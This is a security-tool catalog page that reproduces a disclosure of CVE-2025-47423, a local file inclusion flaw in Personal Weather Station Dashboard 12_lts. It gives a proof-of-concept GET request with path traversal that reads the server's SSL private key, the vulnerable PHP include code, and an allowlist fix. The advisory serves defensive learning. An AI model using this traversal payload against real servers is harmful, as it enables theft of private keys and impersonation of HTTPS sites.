Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-47423 — Detailed disclosure of CVE-2025-47423: Local File Inclusion in Personal Weather Station Dashboard 12_lts. Includes PoC, vulnerable code analysis, and secure fix recommendations for defensive learning. | Kitploit
Инструменты/GitHubGitHub/haluka92/cve-2025-47423
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationCurated Resources
GitHubhaluka92/cve-2025-47423

CVE-2025-47423

Detailed disclosure of CVE-2025-47423: Local File Inclusion in Personal Weather Station Dashboard 12_lts. Includes PoC, vulnerable code analysis, and secure fix recommendations for defensive learning.

Репозиторий
26 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Контент недоступен на запрошенном языке. Показываем английскую версию.

CVE-2025-47423 – Local File Inclusion in Personal Weather Station Dashboard (12_lts)

Discovered by: Matthew Eagle
Status: Public Disclosure
Date Reported: 2025-05-05
CVE ID: CVE-2025-47423


🧩 Summary

A Local File Inclusion (LFI) vulnerability in the Personal Weather Station Dashboard version 12_lts allows unauthenticated remote attackers to read arbitrary files on the server. Exploiting this flaw grants access to sensitive files including private SSL keys, potentially compromising the confidentiality and integrity of HTTPS connections.


🛠 Affected Component

  • File: /others/_test.php
  • Vulnerable Parameter: test (via GET)

  • 📈 Impact

    This flaw allows remote attackers to:

    • Read arbitrary files on the filesystem
    • Expose private SSL keys (e.g., server.key)
    • Perform man-in-the-middle (MITM) attacks
    • Impersonate the HTTPS server

    CVSS: 5.8 Medium


    💥 Proof of Concept (PoC)

    root@kitploit:~
    GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
    Host: www.example.com
    

    Response:

    root@kitploit:~
    -----BEGIN RSA PRIVATE KEY-----
    MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
    ...TRUNCATED...
    -----END RSA PRIVATE KEY-----
    

    🧪 Vulnerable Code (Simplified)

    root@kitploit:~
    $script = trim($_GET['test']);
    $script = str_replace('../','',$script);
    include($script);
    

    The str_replace is insufficient to prevent directory traversal.


    🔐 Secure Fix

    • Use strict allowlisting for include targets
    • Sanitize input with basename() and check against allowed files
    • Avoid dynamic inclusion based on user input
    root@kitploit:~
    $allowed_tests = ['index.php', 'module_test.php'];
    $script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';
    
    if (!in_array($script, $allowed_tests)) {
        die("Invalid test file.");
    }
    
    include(__DIR__ . '/scripts/' . $script);
    

    📅 Timeline

    DateEvent
    2025-05-05Vulnerability reported to PWS Dashboard moderators
    2025-05-06Acknowledgement and testing observed
    2025-05-07CVE-2025-47423 reserved via MITRE
    2025-06-07Public patch and CVE listing confirmed

    🧠 Mitigation

    If you are running Personal Weather Station Dashboard 12_lts, you should:

    • Immediately remove or update _test.php
    • Implement the fixed script with file whitelisting
    • Rotate and reissue any compromised TLS certificates

    🧾 References

    • CVE-2025-47423 on MITRE (pending)
    • Advisory posted on GitHub

    🙏 Credit

    Vulnerability discovered and responsibly disclosed by Matthew Eagle
    Contact: [email protected]


    Disclosure coordinated with respect to responsible disclosure guidelines. This document is released for educational and defensive purposes.

    Скачать инструмент